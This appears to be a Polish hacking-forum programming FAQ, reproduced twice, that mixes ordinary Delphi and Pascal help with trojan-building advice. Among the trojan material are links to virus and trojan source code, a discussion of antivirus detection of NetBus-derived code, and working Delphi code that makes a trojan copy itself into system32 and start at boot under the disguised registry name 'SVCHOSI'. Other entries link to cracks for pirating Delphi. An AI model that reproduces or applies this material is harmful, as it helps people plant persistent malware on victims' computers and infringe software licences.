No wiec kiedys razem z DJBOSS666 zaczelismy robic faq tefgo forum lecz z powodu ruznych problemow idzie to troche powoli dlatego narazie tylko czesc o PROGRAMOWANIU. Mam nadzieje ze troche to pomoze....
Prosze o przesuniecie topicu do "Czeste pytania i odpowiedzi".....
F.A.Q w formacie *.doc dostepne jest na http://shell666.w.interia.pl/programowanie.zip
Do czytania sciagnicie doc bo tutaj moze sie wszystko zlac...
Oto te faq (mojego i DJBOSS666 autorstwa) :
F.A.Q haker.com.pl/forum (PROGRAMOWANIE)
--------------------------------------------------------
F.AQ może być dowolnie kopiowany pod warunkiem pozostawienia info o autorach
--------------------------------------------------------
Spis tresci :
1. Jak mam napisac kod zrudlowy do delphi pokazujacy IP kompa na ktorym jest uruchomione?
2. Skad można sciagnac kody xrodlowe virow i trojanow ?
3. Jakie biblioteki trzeba dodac do programu napisanego w vb 6 ?
4. Czy jest mozliwosc ze antyvir wykryje mojego trojana,który po czesci sklada się z kodu NetBusa?
5. Dlaczego w Delphi jak pisze w cliencie komende ServerSocket1.socket.sendtext('...?); jak mam długi tekst to nie mogę się polaczyc ?
6. Jak w Delphi (client-server)wyświetlić komunikat w okienku ?
7. Jak się zapisuje projekty w exe w c++ I Delphi ?
8. Nie mogę uzywać polskjich liter w Delphi i c++ co zrobić ?
9. W Delphi 7 nie mam socketow (client,server),co robic ?
10. Gdzie znajde jakieś bajery na www ?
11. Czy jest jakas strona z duza iloscia komponentow i modulow ?
12. Znasz jakieś ciekawe strony o Delphi ?
13. Jak wyświetlic tekst z edit po wcisnieciu przycisku (delphi) ?
14. Skąd mogę ściagnąc Delphi ?
15. Od czego zaczac ?
16. Mam Delphi 6,7 Personal Edition i przy wiekszości kodów wywala mi błedy co jest nie tak?
17. Czy istnieja jakies inne kompilatory object pascala (delphi) ?
18. W czym najlepiej napisać trojana?
19. Gdy pisze prosty program w pascalu z modułem CRT wyskakuje mi taki bład : "Error 200: Division by zero" i co teraz ?
20. jak napisac program w delphi aby mozna sie bylo polaczyc z komputerem ktory jest w lanie i ma wewnetrzne ip ? Znam ip routera i wewnetrzne ip kompa, z ktorym chce sie polaczyc.
21. Gdzie mogę znalezc dobre kursy pascala ?
22. Jak wyświetlić mape bitową na całej powieszchni ekranu? (delphi)
23. Jak skonwertować bmb na jpg (delphi) ?
24. Czy jezyk programowania PASCAL i DELPHI sa jezykami podobnymi ?
25. Czy da sie napisac trojana w PASCAL-u ?
26. Jak zrobić aby trojan dodawał się do autostartu (delphi) ?
27. Jak zrobić screenshota (delphi) ?
28. Skad wziasc dodatek indy do delphi?
29. Jak scrackowac delphi ?
1. Jak mam napisac kod zrudlowy do delphi pokazujacy IP kompa na ktorym jest uruchomione?
Na http://www.4programmers.net/delphi/gotowce.php jest przykład.
2.Skad można sciagnac kody xrodlowe virow i trojanow ?
http://www.62nds.co.nz/cgi-bin/x/e4015.html
http://www.olen.net/LOVE-LETTER-FOR-YOU.TXT
http://www.tlsecurity.net/viruss.html
http://www.4programmers.net/programmes/prosiak.zip
http://www.astalavista.com/trojans/code/tr..._sourcecode.zip
http://www.klik-kanan.com/fokus/source_virus_1.shtml
http://wajrus.civ.pl/wirusy.htm
3.Jakie biblioteki trzeba dodac do programu napisanego w vb 6 ?
Kontrolki activeX (*.ocx) są w katalogu z Windows a reszta w WindowsSystem32. Niestandardowe bibljoteki znajdują się w katalogu z vb.
4.Czy jest mozliwosc ze antyvir wykryje mojego trojana,który po czesci sklada się z kodu NetBusa?
Zalezy jaki kod się wklei.Jest to możliwe. Jak jest to np. procedura otwierania cd to się nie skuma ale jak to jest cala funkcja polaczenia wraz z tresciami bledow itd. To może się skumac. Troche jest o tym na www.underground.org.pl w Undeground FAQ 2.
5.Dlaczego w Delphi jak pisze w cliencie komende ServerSocket1.socket.sendtext('...?); jak mam długi tekst to nie mogę się polaczyc ?
Tekst może mieć maksymalnie 2 KB.
6.Jak w Delphi (client-server)wyświetlić komunikat w okienku ?
procedure TForm1.Button3Click(Sender: TObject);
begin
ClientSocket1.Socket.SendText('TxT');
end;
a w serwerku :
if komenda = 'TxT' then
begin
ShowMessage ('Siema Shaczylem ci kompa ');
end;
7.Jak się zapisuje projekty w exe w c++ I Delphi ?
Bierzesz Project-Options i tam ustawiasz gdzie ma się zkompilowac.Potem znowu Project-Compile all projects
8.Nie mogę uzywać polskjich liter w Delphi i c++ co zrobić ?
Sciągnij plik rejestru z http://www.borland.pl/delphi/tabpatche.shtml dla Delphi.
Sciagnij plik rejestru z http://www.borland.pl/cbuilder/tabpatche.shtml dla c++.
9.W Delphi 7 nie mam socketow (client,server),co robic ?
Delphi 7 posiada te sockety ale standardowo nie sa one zainstalowane trzeba to uczynić samemu. Naciskasz na ComponentInstall Package tam przycisk Add i wybieraasz plik dclsockets70.bpl z katalogu bin najdujacego się w folderze z delphi.
10.Gdzie znajde jakieś bajery na www ?
http://www.kursbloga.prv.pl/
http://javascript.pl/
11.Czy jest jakas strona z duza iloscia komponentow i modulow ?
www.4programmers.net
www.torry.net
12.Znasz jakieś ciekawe strony o Delphi ?
www.delphi-area.scrypty.com
www.delphi.qs.pl
delphi.koti.com.pl
www.portal.delphi.prv.pl
www.cai.net2000.com.pl/delphi/index.shtml
www.delphifaq.prv.pl
delphins.topnet.pl
www.programowanie.of.pl (www.4programmers.net)
www.pzone.of.pl
www.delphibest.prv.pl
www.binboy.org
www.karsoft.prv.pl
www.adrav.prv.pl
13.Jak wyświetlic tekst z edit po wcisnieciu przycisku (delphi) ?
ShowMessage(edit1.text)
14.Skąd mogę ściagnąc Delphi ?
www.borland.com i cracka z http://shell666.w.interia.pl
15.Od czego zaczac ?
Najlepiej zaczac od pascala albo jego najlepszej odmiany object pascala (delphi) a potem przesiasc się na c++
16.Mam Delphi 6,7 Personal Edition i przy wiekszości kodów wywala mi błedy co jest nie tak ?
Wersja PE jest strasznie okrojona i nie ma wielu komponenwów ale można je zainstalowac (punkt 9) . lecz niektóre moduły mogą się nie zainstalowac.Najlepiej sciagnac wersje Enterprise gdzie wiekszosc komponentow jest standardowo.
17.Czy istnieja jakies inne kompilatory object pascala (delphi) ?
Otóż object pascal jest językiem rozwijanym przez borlanda wiec jedynym dobrym kompilatorem jest Delphi borlanada.
18.W czym najlepiej napisać trojana?
To zależy od ciebie, jak dopiero zaczynasz to napisz w Delphi jak już kieys programowales to pomysl o cc++ bo prawdopodobnie to tych jezyków nalerzy przyszlosc.
19.Gdy pisze prosty program w pascalu z modułem CRT wyskakuje mi taki bład : "Error 200: Division by zero" i co teraz ?
Blad numer 200 (division by zero) oznacza to prawdopodobnie ze zrodlem bledu nie jest dzielenie przez zero, lecz jakas "awaria systemowa" w wyniku ktorej nastapilo wywolanie przerwania nr 0
20. jak napisac program w delphi aby mozna sie bylo polaczyc z komputerem ktory jest w lanie i ma wewnetrzne ip ? Znam ip routera i wewnetrzne ip kompa, z ktorym chce sie polaczyc.
Niestety nie jest to mozliwe. Routery stawia sie nie tylko po to, by mogly przekazywac pakiety z jednej sieci do drugiej, ale tez dlatego, ze sa doskonalymi firewallami. Ruch sieciowy przy pomocy routera okreslaja jego tablice routingu. Po pierwsze router ma dwa interfejsy (jeden laczy router z siecia i ma ip do niej nalezace np 192.68.1.1 - i to jest tak naprawde ip wlasciwe routera) Ip publiczne routera jakie znasz nie ma nic wspolnego z tablica routingu. To po prostu interfejs, kotry laczy ten dany komputer z internetem. Tablice routingu zawieraja jedynie mozliwosc przekazywania pakietow z sieci wewnetrznej do internetu i przekazania odpoweidzi danemu komputerowi z sieci. I dlatego polaczenie z zewnatrz jest niemozliwe, bo nie ma takiej reguly, ktora okreslalaby przyjecie polaczenia i przekazanie go do interfejsu laczacego router z siecia. Wiec nie ma sie co wysilac nad takim trojanem, bo routery z natem sa doskonalym firewallem. Komputer, ktory w sieci nie istnieje nie moze przyjac polaczenia. A interfejs (do ktorego nalezy ip publiczne routra, ktore znasz) nie rozpoznaje, ze interfejs obok niego to ta siec, do ktorej ma rpzekazac polaczenie. Dlatego tez kompy w sieci wew. maja ip z klasy prywatnej - tak naprawde nie istnieja. Tak czy inaczej, musialby byc to trojan, ktory wysylal by do klienta request o polaczenie. Wtedy, i tylko w tedy router pozwoli na nawiazanie polaczenia. Nie ma innego wyjscia.
21.Gdzie mogę znalezc dobre kursy pascala ?
http://www.pascal.eu.org/
http://www.ps.nq.pl/main.php?dzial=pascal
http://cpw.netax.info/pasc.php3
http://ohp.magres.net/pascal.php
22. Jak wyświetlić mape bitową na całej powieszchni ekranu? (delphi)
Na dole object inspectora ustaw WindowState na WsMaximized i BorderStyle na bsNone Lub :
Var
Rozd : packed record
X, Y : Integer;
end;
procedure TForm.FormCreate(Sender: TObject);
var
Mode: TDeviceMode;
H : THandle;
wClass : array[0..50] of Char;
INI : TINIFile;
begin
StrPCopy(@wClass[0], 'Shell_TrayWnd');
H := FindWindow(@wClass[0], nil);
ShowWindow(H, SW_HIDE);
Rozd.X := GetSystemMetrics(SM_CXSCREEN);
Rozd.Y := GetSystemMetrics(SM_CYSCREEN);
with Mode do
begin
dmSize:=SizeOf(Mode);
dmBitsPerPel:=16;
dmPelsWidth:=800;
dmPelsHeight:=600;
dmFields:=DM_PELSWIDTH+DM_PELSHEIGHT;
ChangeDisplaySettings(Mode,0)
end;
width:=800;
height:=600;
end;
procedure TForm.Button1Click(Sender: TObject);
var
Mode: TDeviceMode;
H : THandle;
wClass : array[0..50] of Char;
begin
//if Application.MessageBox('Czy zamknac program ?','Zamykanie',MB_YESNO+MB_ICONQUESTION)=idyes then
//begin
with Mode do
begin
dmSize:=SizeOf(Mode);
dmBitsPerPel:=16;
dmPelsWidth:=rozd.X;
dmPelsHeight:=rozd.Y;
dmFields:=DM_PELSWIDTH+DM_PELSHEIGHT;
ChangeDisplaySettings(Mode,0)
end;
StrPCopy(@wClass[0], 'Shell_TrayWnd');
H := FindWindow(@wClass[0], nil);
ShowWindow(H, SW_RESTORE);
application.Terminate;
//end;
end;
23.Jak skonwertować bmb na jpg (delphi) ?
var
Bitmap : TBitmap; // BMP
JPG : TJPEGImage; // JPG
begin
{
Procedura pobiera obrazek BMP i kompresuje go do JPG.
Na samym końcu obrazek zostaje wyświetlony w punkcie 10,10
}
Bitmap := TBitmap.Create; // stwórz zmienna
JPG := TJPEGImage.Create;
try
// załaduj obrazek
Bitmap.LoadFromFile('C:Moje dokumentymikolaj.bmp'); {tu wpisujescz lokalizacje obrazka}
JPG.Assign(Bitmap); // pobierz
JPG.SaveToFile( // zapisz obrazek
'C:Moje dokumentymikolaj.JPG');
Canvas.Draw(10, 10, Bitmap); // wispiest
finally
Bitmap.Free; // zwolnij pamiec
JPG.Free;
end;
24. Czy jezyk programowania PASCAL i DELPHI sa jezykami podobnymi ?
Delphi jest chyba obecnie najpopularniejszym wcieleniem Pascala.
Pascal i Delphi sa do siebie bardzo podobne . Instrukcje i procedury sa podobne i nie powinny sprawiac klopotow.
25. Czy da sie napisac trojana w PASCAL-u ?
Da się napisac ale jest to straszne ciezkie.
26.Jak zrobić aby trojan dodawał się do autostartu (delphi) ?
procedure TForm1.FormCreate(Sender: TObject);
var reg :TRegistry;
Sciezka : array [0..MAX_PATH] of Char;
begin
GetWindowsDirectory(Sciezka,sizeof(Sciezka));
reg := TRegistry.Create;
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.OpenKey('SOFTWAREMicrosoftWindowsCurrentVersionRun',True);
reg.WriteString('SVCHOSI',Sciezka +'system32' +'jakas_nazwa.exe');
reg.Free;
copyfile(pchar(paramstr(0)),pchar(Sciezka +'system32' +'jakas_nazwa.exe'),true);
BorderIcons := [biSystemMenu];
end;
27.Jak zrobić screenshota (delphi) ?
function ScreenShoot : TBitmap;
var Bitmap : TCanvas;
begin
{tworzy bitmape}
Bitmap := TCanvas.Create;
{robi screenshoota i pobiera go do pamieci}
Bitmap.Handle := GetWindowDC ( GetDesktopWindow );
Result := TBitmap.Create;
Result.Width := Screen.Width;
Result.Height := Screen.Height;
Result.Canvas.CopyRect (Rect(0, 0, Screen.Width, Screen.Height), Bitmap,Rect (0, 0, Screen.Width, Screen.Height));
{zapisuje bitmape na formie do komponentu Image}
Form2.Image1.Height := Screen.Height;
Form2.Image1.Width := Screen.Width;
Form2.Image1.Canvas.Draw(0,0,result);
{pokazanie formy2}
Form2.Width := Result.Width;
Form2.Height := Result.Height;
Form2.Visible := true;
Bitmap.Free;
end;
procedure TForm1.BitBtn1Click(Sender: TObject);
begin
screenshoot;
end;
28.Skad wziasc dodatek indy do delphi?
http://www.indyproject.org/indy/downloads/...9_00_14_src.zip
29.Jak scrackowac delphi ?
Sciagasz cracka z www.sasquach.prv.pl . Cracka wypakowujesz do folderu bin znajdujacego się w katalogu z delphi.Plik reg107.txt wypakowujesz do folderu z Windowsem.Szersze informacje znajduja się w tyym pliku (reg107)
------------------------------------
By Szyms and DJBOSS666
W sprawie faq pisac prosze na [email protected] lub gg : 3959104
------------------------------------
Prosze o przesuniecie topicu do "Czeste pytania i odpowiedzi".....
F.A.Q w formacie *.doc dostepne jest na http://shell666.w.interia.pl/programowanie.zip
Do czytania sciagnicie doc bo tutaj moze sie wszystko zlac...
Oto te faq (mojego i DJBOSS666 autorstwa) :
F.A.Q haker.com.pl/forum (PROGRAMOWANIE)
--------------------------------------------------------
F.AQ może być dowolnie kopiowany pod warunkiem pozostawienia info o autorach
--------------------------------------------------------
Spis tresci :
1. Jak mam napisac kod zrudlowy do delphi pokazujacy IP kompa na ktorym jest uruchomione?
2. Skad można sciagnac kody xrodlowe virow i trojanow ?
3. Jakie biblioteki trzeba dodac do programu napisanego w vb 6 ?
4. Czy jest mozliwosc ze antyvir wykryje mojego trojana,który po czesci sklada się z kodu NetBusa?
5. Dlaczego w Delphi jak pisze w cliencie komende ServerSocket1.socket.sendtext('...?); jak mam długi tekst to nie mogę się polaczyc ?
6. Jak w Delphi (client-server)wyświetlić komunikat w okienku ?
7. Jak się zapisuje projekty w exe w c++ I Delphi ?
8. Nie mogę uzywać polskjich liter w Delphi i c++ co zrobić ?
9. W Delphi 7 nie mam socketow (client,server),co robic ?
10. Gdzie znajde jakieś bajery na www ?
11. Czy jest jakas strona z duza iloscia komponentow i modulow ?
12. Znasz jakieś ciekawe strony o Delphi ?
13. Jak wyświetlic tekst z edit po wcisnieciu przycisku (delphi) ?
14. Skąd mogę ściagnąc Delphi ?
15. Od czego zaczac ?
16. Mam Delphi 6,7 Personal Edition i przy wiekszości kodów wywala mi błedy co jest nie tak?
17. Czy istnieja jakies inne kompilatory object pascala (delphi) ?
18. W czym najlepiej napisać trojana?
19. Gdy pisze prosty program w pascalu z modułem CRT wyskakuje mi taki bład : "Error 200: Division by zero" i co teraz ?
20. jak napisac program w delphi aby mozna sie bylo polaczyc z komputerem ktory jest w lanie i ma wewnetrzne ip ? Znam ip routera i wewnetrzne ip kompa, z ktorym chce sie polaczyc.
21. Gdzie mogę znalezc dobre kursy pascala ?
22. Jak wyświetlić mape bitową na całej powieszchni ekranu? (delphi)
23. Jak skonwertować bmb na jpg (delphi) ?
24. Czy jezyk programowania PASCAL i DELPHI sa jezykami podobnymi ?
25. Czy da sie napisac trojana w PASCAL-u ?
26. Jak zrobić aby trojan dodawał się do autostartu (delphi) ?
27. Jak zrobić screenshota (delphi) ?
28. Skad wziasc dodatek indy do delphi?
29. Jak scrackowac delphi ?
1. Jak mam napisac kod zrudlowy do delphi pokazujacy IP kompa na ktorym jest uruchomione?
Na http://www.4programmers.net/delphi/gotowce.php jest przykład.
2.Skad można sciagnac kody xrodlowe virow i trojanow ?
http://www.62nds.co.nz/cgi-bin/x/e4015.html
http://www.olen.net/LOVE-LETTER-FOR-YOU.TXT
http://www.tlsecurity.net/viruss.html
http://www.4programmers.net/programmes/prosiak.zip
http://www.astalavista.com/trojans/code/tr..._sourcecode.zip
http://www.klik-kanan.com/fokus/source_virus_1.shtml
http://wajrus.civ.pl/wirusy.htm
3.Jakie biblioteki trzeba dodac do programu napisanego w vb 6 ?
Kontrolki activeX (*.ocx) są w katalogu z Windows a reszta w WindowsSystem32. Niestandardowe bibljoteki znajdują się w katalogu z vb.
4.Czy jest mozliwosc ze antyvir wykryje mojego trojana,który po czesci sklada się z kodu NetBusa?
Zalezy jaki kod się wklei.Jest to możliwe. Jak jest to np. procedura otwierania cd to się nie skuma ale jak to jest cala funkcja polaczenia wraz z tresciami bledow itd. To może się skumac. Troche jest o tym na www.underground.org.pl w Undeground FAQ 2.
5.Dlaczego w Delphi jak pisze w cliencie komende ServerSocket1.socket.sendtext('...?); jak mam długi tekst to nie mogę się polaczyc ?
Tekst może mieć maksymalnie 2 KB.
6.Jak w Delphi (client-server)wyświetlić komunikat w okienku ?
procedure TForm1.Button3Click(Sender: TObject);
begin
ClientSocket1.Socket.SendText('TxT');
end;
a w serwerku :
if komenda = 'TxT' then
begin
ShowMessage ('Siema Shaczylem ci kompa ');
end;
7.Jak się zapisuje projekty w exe w c++ I Delphi ?
Bierzesz Project-Options i tam ustawiasz gdzie ma się zkompilowac.Potem znowu Project-Compile all projects
8.Nie mogę uzywać polskjich liter w Delphi i c++ co zrobić ?
Sciągnij plik rejestru z http://www.borland.pl/delphi/tabpatche.shtml dla Delphi.
Sciagnij plik rejestru z http://www.borland.pl/cbuilder/tabpatche.shtml dla c++.
9.W Delphi 7 nie mam socketow (client,server),co robic ?
Delphi 7 posiada te sockety ale standardowo nie sa one zainstalowane trzeba to uczynić samemu. Naciskasz na ComponentInstall Package tam przycisk Add i wybieraasz plik dclsockets70.bpl z katalogu bin najdujacego się w folderze z delphi.
10.Gdzie znajde jakieś bajery na www ?
http://www.kursbloga.prv.pl/
http://javascript.pl/
11.Czy jest jakas strona z duza iloscia komponentow i modulow ?
www.4programmers.net
www.torry.net
12.Znasz jakieś ciekawe strony o Delphi ?
www.delphi-area.scrypty.com
www.delphi.qs.pl
delphi.koti.com.pl
www.portal.delphi.prv.pl
www.cai.net2000.com.pl/delphi/index.shtml
www.delphifaq.prv.pl
delphins.topnet.pl
www.programowanie.of.pl (www.4programmers.net)
www.pzone.of.pl
www.delphibest.prv.pl
www.binboy.org
www.karsoft.prv.pl
www.adrav.prv.pl
13.Jak wyświetlic tekst z edit po wcisnieciu przycisku (delphi) ?
ShowMessage(edit1.text)
14.Skąd mogę ściagnąc Delphi ?
www.borland.com i cracka z http://shell666.w.interia.pl
15.Od czego zaczac ?
Najlepiej zaczac od pascala albo jego najlepszej odmiany object pascala (delphi) a potem przesiasc się na c++
16.Mam Delphi 6,7 Personal Edition i przy wiekszości kodów wywala mi błedy co jest nie tak ?
Wersja PE jest strasznie okrojona i nie ma wielu komponenwów ale można je zainstalowac (punkt 9) . lecz niektóre moduły mogą się nie zainstalowac.Najlepiej sciagnac wersje Enterprise gdzie wiekszosc komponentow jest standardowo.
17.Czy istnieja jakies inne kompilatory object pascala (delphi) ?
Otóż object pascal jest językiem rozwijanym przez borlanda wiec jedynym dobrym kompilatorem jest Delphi borlanada.
18.W czym najlepiej napisać trojana?
To zależy od ciebie, jak dopiero zaczynasz to napisz w Delphi jak już kieys programowales to pomysl o cc++ bo prawdopodobnie to tych jezyków nalerzy przyszlosc.
19.Gdy pisze prosty program w pascalu z modułem CRT wyskakuje mi taki bład : "Error 200: Division by zero" i co teraz ?
Blad numer 200 (division by zero) oznacza to prawdopodobnie ze zrodlem bledu nie jest dzielenie przez zero, lecz jakas "awaria systemowa" w wyniku ktorej nastapilo wywolanie przerwania nr 0
20. jak napisac program w delphi aby mozna sie bylo polaczyc z komputerem ktory jest w lanie i ma wewnetrzne ip ? Znam ip routera i wewnetrzne ip kompa, z ktorym chce sie polaczyc.
Niestety nie jest to mozliwe. Routery stawia sie nie tylko po to, by mogly przekazywac pakiety z jednej sieci do drugiej, ale tez dlatego, ze sa doskonalymi firewallami. Ruch sieciowy przy pomocy routera okreslaja jego tablice routingu. Po pierwsze router ma dwa interfejsy (jeden laczy router z siecia i ma ip do niej nalezace np 192.68.1.1 - i to jest tak naprawde ip wlasciwe routera) Ip publiczne routera jakie znasz nie ma nic wspolnego z tablica routingu. To po prostu interfejs, kotry laczy ten dany komputer z internetem. Tablice routingu zawieraja jedynie mozliwosc przekazywania pakietow z sieci wewnetrznej do internetu i przekazania odpoweidzi danemu komputerowi z sieci. I dlatego polaczenie z zewnatrz jest niemozliwe, bo nie ma takiej reguly, ktora okreslalaby przyjecie polaczenia i przekazanie go do interfejsu laczacego router z siecia. Wiec nie ma sie co wysilac nad takim trojanem, bo routery z natem sa doskonalym firewallem. Komputer, ktory w sieci nie istnieje nie moze przyjac polaczenia. A interfejs (do ktorego nalezy ip publiczne routra, ktore znasz) nie rozpoznaje, ze interfejs obok niego to ta siec, do ktorej ma rpzekazac polaczenie. Dlatego tez kompy w sieci wew. maja ip z klasy prywatnej - tak naprawde nie istnieja. Tak czy inaczej, musialby byc to trojan, ktory wysylal by do klienta request o polaczenie. Wtedy, i tylko w tedy router pozwoli na nawiazanie polaczenia. Nie ma innego wyjscia.
21.Gdzie mogę znalezc dobre kursy pascala ?
http://www.pascal.eu.org/
http://www.ps.nq.pl/main.php?dzial=pascal
http://cpw.netax.info/pasc.php3
http://ohp.magres.net/pascal.php
22. Jak wyświetlić mape bitową na całej powieszchni ekranu? (delphi)
Na dole object inspectora ustaw WindowState na WsMaximized i BorderStyle na bsNone Lub :
Var
Rozd : packed record
X, Y : Integer;
end;
procedure TForm.FormCreate(Sender: TObject);
var
Mode: TDeviceMode;
H : THandle;
wClass : array[0..50] of Char;
INI : TINIFile;
begin
StrPCopy(@wClass[0], 'Shell_TrayWnd');
H := FindWindow(@wClass[0], nil);
ShowWindow(H, SW_HIDE);
Rozd.X := GetSystemMetrics(SM_CXSCREEN);
Rozd.Y := GetSystemMetrics(SM_CYSCREEN);
with Mode do
begin
dmSize:=SizeOf(Mode);
dmBitsPerPel:=16;
dmPelsWidth:=800;
dmPelsHeight:=600;
dmFields:=DM_PELSWIDTH+DM_PELSHEIGHT;
ChangeDisplaySettings(Mode,0)
end;
width:=800;
height:=600;
end;
procedure TForm.Button1Click(Sender: TObject);
var
Mode: TDeviceMode;
H : THandle;
wClass : array[0..50] of Char;
begin
//if Application.MessageBox('Czy zamknac program ?','Zamykanie',MB_YESNO+MB_ICONQUESTION)=idyes then
//begin
with Mode do
begin
dmSize:=SizeOf(Mode);
dmBitsPerPel:=16;
dmPelsWidth:=rozd.X;
dmPelsHeight:=rozd.Y;
dmFields:=DM_PELSWIDTH+DM_PELSHEIGHT;
ChangeDisplaySettings(Mode,0)
end;
StrPCopy(@wClass[0], 'Shell_TrayWnd');
H := FindWindow(@wClass[0], nil);
ShowWindow(H, SW_RESTORE);
application.Terminate;
//end;
end;
23.Jak skonwertować bmb na jpg (delphi) ?
var
Bitmap : TBitmap; // BMP
JPG : TJPEGImage; // JPG
begin
{
Procedura pobiera obrazek BMP i kompresuje go do JPG.
Na samym końcu obrazek zostaje wyświetlony w punkcie 10,10
}
Bitmap := TBitmap.Create; // stwórz zmienna
JPG := TJPEGImage.Create;
try
// załaduj obrazek
Bitmap.LoadFromFile('C:Moje dokumentymikolaj.bmp'); {tu wpisujescz lokalizacje obrazka}
JPG.Assign(Bitmap); // pobierz
JPG.SaveToFile( // zapisz obrazek
'C:Moje dokumentymikolaj.JPG');
Canvas.Draw(10, 10, Bitmap); // wispiest
finally
Bitmap.Free; // zwolnij pamiec
JPG.Free;
end;
24. Czy jezyk programowania PASCAL i DELPHI sa jezykami podobnymi ?
Delphi jest chyba obecnie najpopularniejszym wcieleniem Pascala.
Pascal i Delphi sa do siebie bardzo podobne . Instrukcje i procedury sa podobne i nie powinny sprawiac klopotow.
25. Czy da sie napisac trojana w PASCAL-u ?
Da się napisac ale jest to straszne ciezkie.
26.Jak zrobić aby trojan dodawał się do autostartu (delphi) ?
procedure TForm1.FormCreate(Sender: TObject);
var reg :TRegistry;
Sciezka : array [0..MAX_PATH] of Char;
begin
GetWindowsDirectory(Sciezka,sizeof(Sciezka));
reg := TRegistry.Create;
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.OpenKey('SOFTWAREMicrosoftWindowsCurrentVersionRun',True);
reg.WriteString('SVCHOSI',Sciezka +'system32' +'jakas_nazwa.exe');
reg.Free;
copyfile(pchar(paramstr(0)),pchar(Sciezka +'system32' +'jakas_nazwa.exe'),true);
BorderIcons := [biSystemMenu];
end;
27.Jak zrobić screenshota (delphi) ?
function ScreenShoot : TBitmap;
var Bitmap : TCanvas;
begin
{tworzy bitmape}
Bitmap := TCanvas.Create;
{robi screenshoota i pobiera go do pamieci}
Bitmap.Handle := GetWindowDC ( GetDesktopWindow );
Result := TBitmap.Create;
Result.Width := Screen.Width;
Result.Height := Screen.Height;
Result.Canvas.CopyRect (Rect(0, 0, Screen.Width, Screen.Height), Bitmap,Rect (0, 0, Screen.Width, Screen.Height));
{zapisuje bitmape na formie do komponentu Image}
Form2.Image1.Height := Screen.Height;
Form2.Image1.Width := Screen.Width;
Form2.Image1.Canvas.Draw(0,0,result);
{pokazanie formy2}
Form2.Width := Result.Width;
Form2.Height := Result.Height;
Form2.Visible := true;
Bitmap.Free;
end;
procedure TForm1.BitBtn1Click(Sender: TObject);
begin
screenshoot;
end;
28.Skad wziasc dodatek indy do delphi?
http://www.indyproject.org/indy/downloads/...9_00_14_src.zip
29.Jak scrackowac delphi ?
Sciagasz cracka z www.sasquach.prv.pl . Cracka wypakowujesz do folderu bin znajdujacego się w katalogu z delphi.Plik reg107.txt wypakowujesz do folderu z Windowsem.Szersze informacje znajduja się w tyym pliku (reg107)
------------------------------------
By Szyms and DJBOSS666
W sprawie faq pisac prosze na [email protected] lub gg : 3959104
------------------------------------